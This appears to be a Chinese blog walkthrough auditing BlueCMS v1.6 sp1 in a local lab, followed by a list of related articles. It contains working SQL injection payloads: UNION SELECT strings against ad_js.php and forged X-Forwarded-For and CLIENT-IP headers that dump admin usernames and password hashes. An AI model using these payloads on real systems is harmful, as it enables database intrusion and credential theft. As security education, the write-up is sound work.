代码审计之SQL注入:BlueCMSv1.6 sp1
Preface
这是一篇纪录关于BlueCMSv1.6 sp1两个SQL注入的审计过程,原文来自代码审计之SQL注入:BlueCMSv1.6 sp1 ,主要纪录一下个人在参考博文复现这两个漏洞经过。
参看视频:BlueCMS 1.6 SQL 注入漏洞
工具及环境
- bluecms v2.1 sp1
- 链接:http://pan.baidu.com/s/1dFKLanR 密码:8v1c
- seay审计系统
- 链接:http://pan.baidu.com/s/1dENS4KT 密码:rszt
- 环境
- PHP: 5.4.45
- MYSQL: 5.5.53
环境搭建
关于环境搭建,简单说几句。可以使用phpstudy这款集成化工具,可以很方便的使用和切换环境,安装好之后直接将下载好的bluecms的源码放到安装的路径下即可,如:C:\phpStudy\WWW。
也即把\bluecms_v1.6_sp1\uploads目录下的文件放到C:\phpStudy\WWW目录下,因为我的C:\phpStudy\WWW目录下还有其他文件,就直接把解压后的bluecms_v1.6_sp1放在C:\phpStudy\WWW目录下了。在我这的路径是这样的:C:\phpStudy\WWW\bluecms_v1.6_sp1\uploads。
安装
访问本地:http://localhost/bluecms_v1.6_sp1/, 能看到项目文件。

访问地址:http://localhost/bluecms_v1.6_sp1/uploads/install/ 就会进入到安装界面。

环境检测:

参数配置:

这里唯一需要注意的就是数据库的密码要对上。
再访问:http://localhost/bluecms_v1.6_sp1/uploads/,可以看到已经安装好了。

关于环境搭建的部分就讲这些吧。
注入一
审计
用Seay源代码审计系统审计一下看看,我们可以发现有很多可能的注入点,如第一个,在文件:/uploads/ad_js.php

选中该可能的注入点,右键单击打开文件,就能直接定位到该条语句了,内容如下:
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
getone()是自定义的函数,用来查询数据库,代码如下:(可双击选中该函数,然后右键单击定位函数,发现在:/uploads/include/mysql.class.php文件中,双击直接可定位到在文件中的位置)
该函数的代码如下:
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
主要是插入到数据库查询语句中的$ad_id没有经过任何的过滤,因而导致了SQL注入。从代码中可以看出:

利用
先查下有多少列
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7

查询1...6列和8...列会显示出错信息,而查询7列时页面是空白的,此时查看源码,如红框中所示,可以看到第7列会回显,因此我们可以构造第7列的数据来回显我们想要的内容。
查询下数据库信息:
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,@@basedir

数据库名称是bluecms,路径如上所示。
提取数据
利用元数据表爆出表名
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

爆字段
查看下blue_admin表中有哪些字段:
这里需要将表名转换为16进制:16进制到文本字符串的转换
ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e

获取用户名密码
ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

是用MD5值,其值为admin:

注入二
审计
再查看Seay发现的可疑注入点,在文件/uploads/include/common.fun.php中:

$ip变量的值从环境变量中获得,具体代码如下:(可右键点击查看相应文件内容)
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
$ip的值可能是从HTTP_CLIENT_IP或HTTP_X_FORWARDED_FOR等变量中获得;
全局搜索一下使用到这个函数的地方一共有2处,中间那个是函数定义:

我们查看一下第一个文件:(代码113行,这是一个负责文章评论的代码文件)

我们可以看到,通过函数getip()获取到的$ip变量的值,直接插入到了SQL语句中,接着就执行了。由此可以看出,这里是存在SQL注入的。
文章发表
从上面的页面(/uploads/comment.php)可以推断出,SQL注入出现在对文章进行评论的地方,因为之前在发表文章时出现点问题,现将解决的小trick分享给大家:
首先,需要先注册一个用户,登陆之后进入到个人资料,有个文章分类,但是我在创建分类的时候老是出现问题,如右所示:


而且通过管理员登陆也不能创建分类,甚是无奈,只能通过修改代码解决:
我们找到发表文章的页面:http://localhost/bluecms_v1.6_sp1/uploads/user.php?act=add_news ,将判断新闻分类的部分注释掉,这样就不会因为没有分类的问题,而导致程序的执行过程被中断。

好,那现在我们创建一篇文章,随意填写写内容即可:(步骤:进入个人中心->本地新闻->发布新闻)
回到主页:

查看下我们刚发布的文章,如下所示:

利用
我们回看下那段SQL语句:(隔得有点远)
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);
可以看到,一共有9个参数,而insert语句可以一次插入多条数据,只要们在构造$ip的内容时,闭合掉前面的部分,使之变成完整的语句即可。
X-Forwarded-For
通过X-Forwarded-For构造如下:
X-Forwarded-For: 00', '1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin), '1281181973','99
在POST数据包头部添加X-Forwarded-For字段,内容如上:

通过查看网页源代码的方式,我们可以看到admin用户密码的hash值:(其值为admin)

CLIENT-IP
通过CLIENT-IP构造如下:
CLIENT-IP: 1', '1'),('','1','0','1','6',(select concat(admin_name,':',pwd) from blue_admin), '1','1
POST数据包:

可以看到admin密码的hash值直接显示到了页面上:(时间错乱了,请忽略)

到此,就这样。(不清晰的图片可右键查看)
代码审计之SQL注入:BlueCMSv1.6 sp1的更多相关文章
- PHP代码审计之SQL注入
代码审计之SQL注入 SQL注入攻击(SQLInjection),是攻击者在表单中提交精心构造的sql语句,改变原来的sql语句,如果web程序没有对提交的数据经过检查,那么就会造成sql注入攻击. ...
- ZZZPHP1.61 代码审计-从SQL注入到Getshell
近期有很多小伙伴在后台留言想看关于代码审计的文章,其实有关审计的文章网上资源是比较多的,但是从代码审计开始到结束的这类文章却少之甚少. 今天要讲解的ZZZPHP1.61这套审计漏洞比较多,SQL注入漏 ...
- [代码审计]某租车系统JAVA代码审计[前台sql注入]
0x00 前言 艰难徘徊这么久,终于迈出第一步,畏畏缩缩是阻碍大多数人前进的绊脚石,共勉. 系统是租车系统,这个系统是Adog师傅之前发在freebuf(http://www.freebuf.com/ ...
- PHP代码审计 -1.SQL注入总结
0x01 背景 最近在学习PHP代码审计,这里做一个SQL注入总结,是对自己学习知识的总结,也是为自己学习的笔记,方便自己反复翻阅. 0x02 PHP代码审计-SQL注入 挖掘SQL ...
- 代码审计之SQL注入
0x00概况说明 0x01报错注入及利用 环境说明 kali LAMP 0x0a 核心代码 现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select. ...
- PHP代码审计笔记--SQL注入
0X01 普通注入 SQL参数拼接,未做任何过滤 <?php $con = mysql_connect("localhost","root"," ...
- 代码审计之SQL注入及修复
在新手入门web安全的时候,sql注入往往是最先上手的一个漏洞,它也是危害相当大的一个漏洞,存在此漏洞的话,将有被脱裤的风险. 以下所有代码都是我自己写的,可能有不美观,代码错误等等问题,希望大家可以 ...
- PHP代码审计入门(SQL注入漏洞挖掘基础)
SQL注入漏洞 SQL注入经常出现在登陆页面.和获取HTTP头(user-agent/client-ip等).订单处理等地方,因为这几个地方是业务相对复杂的,登陆页面的注入现在来说大多数是发生在HTT ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode
0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.同上一篇,我 ...
随机推荐
- android binder理解
Android中的Parcel是什么 Parcel,翻译过来是"打包"的意思.打包干什么呢?是为了序列化. 如果要在进程之间传递一个整数,很简单,直接传就是行了:如果要传 ...
- 认证模式之Form模式
上面介绍的两种模式都属于HTTP协议规范范畴,由于它的规范使得很多东西无法自定义,例如登录窗口.错误展示页面.所以需要另外一种模式提供更加灵活的认证,也就是基于Form的认证模式. Form模式的认证 ...
- android studio签名
1.Build -> Generate Signed APK...,打开如下窗口 2.假设这里没有打过apk包,点击Create new,窗口如下 这里只要输入几个必要项 Key store p ...
- 视音频编解码学习工程:JPEG分析器
=====================================================视音频编解码学习工程系列文章列表: 视音频编解码学习工程:H.264分析器 视音频编解码学习工 ...
- python的w+到底是什么
python 文件处理的打开方式有很多种, os.mknod("test.txt") 创建空文件 fp = open("test.txt",w) 直接打开一个文 ...
- my golib:db query Result
go提供了一套统一操作database的sql接口,任何第三方都可以通过实现相应的driver来访问感兴趣的数据库.譬如我们项目中使用的Go-MySQL-Driver. go提供了一套很好的机制来处理 ...
- Leetcode_104_Maximum Depth of Binary Tree
本文是在学习中的总结,欢迎转载但请注明出处:http://blog.csdn.net/pistolove/article/details/41964475 Maximum Depth of Binar ...
- Android官方技术文档翻译——Gradle 插件用户指南(7)
本文译自Android官方技术文档<Gradle Plugin User Guide>,原文地址:http://tools.android.com/tech-docs/new-build- ...
- AngularJS进阶(二十七)实现二维码信息的集成思路
AngularJS实现二维码信息的集成思路 赠人玫瑰,手留余香.若您感觉此篇博文对您有用,请花费2秒时间点个赞,您的鼓励是我不断前进的动力,与君共勉! 注:点击此处进行知识充电 ...
- getJSONObject与optJSONObject的区别,结合源码分析
*json解析常见问题: getJSONObject与optJSONObject的区别,下面结合源码和案例来分析当我们使用这两周方法来解析数据时,哪种比较好. 源码分析: //使用getJSONObj ...